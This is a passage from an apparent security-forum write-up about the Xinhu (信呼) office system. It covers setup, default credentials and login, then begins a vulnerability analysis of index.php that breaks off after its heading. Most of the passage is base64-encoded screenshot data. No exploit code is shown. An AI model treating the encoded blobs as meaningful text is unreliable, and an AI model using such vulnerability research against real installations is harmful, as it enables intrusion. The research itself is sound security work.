YRXl1HJcTXjxiWPTbCFkSW7aMkCWeSSRILKFyEkmZpJN0NvMpv0/wzs/4SLX93+uOl6F5WRz9nE+s79hPbzid+OM7M9sgGnB4J8MxqPtel22sXBA8y81yKPVrp2/iZWvUljtlY8+RZx21qnCxQIgVR5T4n+IXwM8Ka5eeGrnQZfEGv6Wtu+taR8PfhB4w+KF94eF3ALqzXxLB8OPBnipvDct7akXVjBrn9nz31sRcWkc0JD19AV8VfCmXUU+BXw0j0HTrzUfGa/F/QLf4yRafceILLVbTxw3xDz8W9U8RHQdQ0y+kW31I6jf3MGsPdeHbzQjZJe6fqHhuW3tpAD6N8JH4VeO9Eg8ReELHwdr2jXEtzbC8sdI01vIvbKZ7a/06+t5LSO607VNOu45bPUtLv4LbUNOvIpbS+toLmKSJel/4Q7wj/0K3hz/AMEemf8AyLXjPgRrKT9of45P4Z8o6Avhb4Vw+Lmsl/4l7/FiM+MzqvnOo8l/Ecfw9b4cx60UJmXTB4ZS6wyRAfRDdD9D/Kpk+WMpWvyxbtteyvYaV2l3djnF8IeEGAZfC/htlYZDLomlkEHoQRbEEH1FL/wh3hH/AKFbw5/4I9M/+Ra/na/Ze/av+Lfw6/Zu/Zg8DaF8RvCPgnxH4G/Z6/YZsvgz+zZrng6x1Lxf+13pnxI8PeELT4j6r4f1S+voPE0tv4fF7rnhPSpfh5bQw/DHXfBereOvio+v+DdQt9HsvpLXP26/E+mfDH4h+LfE/wC0b4W8JfFnUPjZqPwhvPgbY6V8HfDEn7K0Fp8S/FmjeFb74o+Ifinq6T+EU8W+DvCVrb3XxP8AiXFr3gzxR4l8YeHLz4V/D/UYfEvhPQNUbaTSV25VqlCCSTlKdOtSoJKMXJtTqVYJNXUP+Xzp3hzXOm4SqxbVqUYzlJ+6uR06tVyalZpRhSk7tJVN6LqxUpR/ZE+EvBwbafDHhoN8vynRdLDfOWC8fZs/MUcL/eKtjO04d/wh3hH/AKFbw5/4I9M/+Ra/mV8GfFP4t/tQfFv4H/FbUda0bwf8VviJ8OP+CUI1vxbpHhiTU9FsNb0n41/8FePD3iDxJofhvV3s7dbi9ttOuNX0ex1eKTTdM1HUbBtT0e+02CXSLn6S1f8Ab0/aFsfBfia38V/Gz4e/Cfxf8MPC37TNp8MtV8Q/DDTrxv22PjT+z9+1x+0V+ztpvwy0Pw5NrEUiarqPhz4M/DfWfFvw9+Ehi+IPiDxH8edFn8BXug6RoK6Rqus6bhGo5XvTzDE4C0IynzPC5bhcyqVYKKdSfuYidNUo05TlKnB0/aSqyhSTg/aRhGzjLB4DFOUmoOMsfia+Gp0ZJtxXLOjzOrz+zjD2k6vsoU1Of7sf8Id4R/6Fbw5/4I9M/wDkWj/hDvCP/QreHP8AwR6Z/wDItfgl8d/2r/jv4m0X9qHwheftBTfDLxJ8MfHPwM8cS6n8Cr34ReIvBnwX+ENr+0r8M
|
|||
|
|
<p blockindex=13>之后进入本地配置，输入自己的数据库密码、获取信呼官网key(需要登录)之后，点击直接提交</p>
|
|||
|
|
<p blockindex=14><img src="data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=15><img src='data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" width="1280" height="683"><rect fill-opacity="0"/></svg>' alt=img referrerpolicy=no-referrer layer-index=4 data-sf-original-src=https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4ccbd1006f8be33d075e50fd870bc92fca306303.jpeg style="background-blend-mode:normal!important;background-clip:content-box!important;background-position:50% 50%!important;background-color:rgb(255,255,255)!important;background-image:var(--sf-img-22)!important;background-size:100% 100%!important;background-origin:content-box!important;background-repeat:no-repeat!important"></p>
|
|||
|
|
<p blockindex=16>之后就得到默认的账号密码</p>
|
|||
|
|
<p blockindex=17><img src="data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=18>进入到首页登录，输入账号、密码</p>
|
|||
|
|
<p blockindex=19><img src="data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=20><img src='data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" width="1280" height="683"><rect fill-opacity="0"/></svg>' alt=img referrerpolicy=no-referrer layer-index=7 data-sf-original-src=https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4ccbd1006f8be33d075e50fd870bc92fca306303.jpeg style="background-blend-mode:normal!important;background-clip:content-box!important;background-position:50% 50%!important;background-color:rgb(255,255,255)!important;background-image:var(--sf-img-22)!important;background-size:100% 100%!important;background-origin:content-box!important;background-repeat:no-repeat!important"></p>
|
|||
|
|
<h2 blockindex=21>漏洞分析</h2>
|
|||
|
|
<p blockindex=22>来到<code>index.php</code>分析代码</p>
|
|||
|
|
<p blockindex=23><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACvAAAAZoCAYAAABOHxACAAAAAXNSR0IArs4c6QAAAHhlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAACvCgAwAEAAAAAQAABmgAAAAAIs/YKQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAQABJREFUeAHsvQecXVd177/OvXd60UgjjXqXrFHvlmzJNu42rpiSRwKhBifAC3kkvJdKgJDkH/LnE3gP/gmEB4FQQrANxhAb20husizL6rLVey+j6eXO3PL//dY++86ZOzPSqBtYS7p3n7Pb2vt39jnS7PnedYOxYyZnpYdlcBbDK5riNBtIsqtDurq6pKO9VVLplFRXV8vw4SNk6NChUjV4sFSUl0tpWZmUlpZKPB6X4uJiSSQS6IkuAnaCF80dBzhFt3pOj8xOZzISBDEJslmU9azH+kEskAzK9BjlWR4jpQ/maTfajjPIYiauzPsMayBx9c2/KqZX3PS39Wf3nz1/7Plr//7Yv7/2/w/7/5f9/zP6/2T7/7f9/GE/f9nPn/bzt+0/2P4L/i2w/Sfbf7P9R9t/tf1n23+33z/Y71/s90/66zX+v4hmv3+z3z/a71/t98/2+3/+w+D2kvXBGB7zZ2jjD6hIYPyBk8H4F+N/jH96E/Jf3xr2J5IKCqQ54fb/O/HMiuP5XYD7tov3bmjMS+NRn0bK4ziO2/AqZT5efNAlgdYV4ZDlnThPIWU562keyirwasarJMyvQtqA8jL2hz0nPjNZ11shfv5swz8m7DeJOtiY4wZlmMIfylLcqwI/R3803z7NY7w47h6GeqXIaMOrCq8GvIpQJ4kU7tQKkXL+I4KMvPFh3wG4PElzhChJK8cXZEn4oXL3P3oSw2lGm/ANY3M1tOvuntz/n9haiUT4Yc0s+qOXbvO8InPMv+l/addfMxb9jd/rkg+f+eJ58aeZdFra29slk85IW3ubtLW2SXNzszTU18vputNy4vhxqaurk0Q8IcUlZVJQUCBFBcXuPtH/FXFd03J3gDsN3xMu